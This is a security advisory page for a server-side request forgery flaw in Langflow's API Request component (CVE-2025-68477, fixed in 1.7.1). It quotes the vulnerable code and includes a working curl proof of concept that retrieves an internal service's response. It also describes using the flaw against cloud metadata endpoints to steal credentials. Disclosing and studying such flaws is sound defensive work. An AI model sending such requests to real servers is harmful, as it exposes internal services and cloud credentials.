ghsa-5993-7p27-66g5
Vulnerability from github
Vulnerability Overview
Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.
Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.
Vulnerable Code
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When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359
python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588
bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse: -
Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289
```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg)
url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}"```
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438
```python url = self._normalize_url(url)
# Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg)```
-
On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].
https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322
python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340
python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379
```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8")
metadata["result"] = result if include_httpx_metadata: metadata.update({"headers": headers}) return Data(data=metadata)```
PoC
PoC Description
- I launched a Langflow server using the latest
langflowai/langflow:latestDocker container, and a separate containerinternal-apithat exposes an internal-only endpoint/internalon port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (
http://172.18.0.3:8000/internal). Then I invoked/api/v1/run/advanced/<FLOW_ID>with an API key to perform SSRF. The response returned the internal service’s body in theresultfield, confirming non-blind SSRF.
PoC
-
Langflow Setting
-
Exploit
bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\n";"") | sub("\n$";"") | fromjson | .result'
Impact
- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68477"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-19T22:52:59Z",
"nvd_published_at": "2025-12-19T17:15:53Z",
"severity": "HIGH"
},
"details": "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible\u2014accessing internal resources from the server\u2019s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n \n ```python\n @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n async def simplified_run_flow(\n *,\n background_tasks: BackgroundTasks,\n flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n input_request: SimplifiedAPIRequest | None = None,\n stream: bool = False,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n context: dict | None = None,\n http_request: Request,\n ):\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n \n ```bash\n @router.post(\n \"/run/advanced/{flow_id_or_name}\",\n response_model=RunResponse,\n response_model_exclude_none=True,\n )\n async def experimental_run_flow(\n *,\n session: DbSession,\n flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n inputs: list[InputValueRequest] | None = None,\n outputs: list[str] | None = None,\n tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n stream: Annotated[bool, Body(embed=True)] = False,\n session_id: Annotated[None | str, Body(embed=True)] = None,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n ) -\u003e RunResponse:\n ```\n \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n \n ```python\n def _normalize_url(self, url: str) -\u003e str:\n \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n if not url or not isinstance(url, str):\n msg = \"URL cannot be empty\"\n raise ValueError(msg)\n \n url = url.strip()\n if url.startswith((\"http://\", \"https://\")):\n return url\n return f\"https://{url}\"\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n \n ```python\n url = self._normalize_url(url)\n \n # Validate URL\n if not validators.url(url):\n msg = f\"Invalid URL provided: {url}\"\n raise ValueError(msg)\n ```\n \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n \n ```python\n try:\n # Prepare request parameters\n request_params = {\n \"method\": method,\n \"url\": url,\n \"headers\": headers,\n \"json\": processed_body,\n \"timeout\": timeout,\n \"follow_redirects\": follow_redirects,\n }\n response = await client.request(**request_params)\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n \n ```python\n # Base metadata\n metadata = {\n \"source\": url,\n \"status_code\": response.status_code,\n \"response_headers\": response_headers,\n }\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n \n ```python\n # Handle response content\n if is_binary:\n result = response.content\n else:\n try:\n result = response.json()\n except json.JSONDecodeError:\n self.log(\"Failed to decode JSON response\")\n result = response.text.encode(\"utf-8\")\n \n metadata[\"result\"] = result\n \n if include_httpx_metadata:\n metadata.update({\"headers\": headers})\n \n return Data(data=metadata)\n ```\n \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/\u003cFLOW_ID\u003e` with an API key to perform SSRF. The response returned the internal service\u2019s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n \n \u003cimg width=\"1917\" height=\"940\" alt=\"image\" src=\"https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f\" /\u003e\n \n- Exploit\n \n ```bash\n curl -s -X POST \u0027http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M\u0027 \\\n --data-raw \u0027{\n \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n \"outputs\":[\"Chat Output\"],\n \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n \"stream\":false\n }\u0027 | jq -r \u0027.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result\u0027\n ```\n \n \u003cimg width=\"1918\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1\" /\u003e\n \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF\u2192RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.",
"id": "GHSA-5993-7p27-66g5",
"modified": "2025-12-19T22:52:59Z",
"published": "2025-12-19T22:52:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68477"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Langflow vulnerable to Server-Side Request Forgery"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.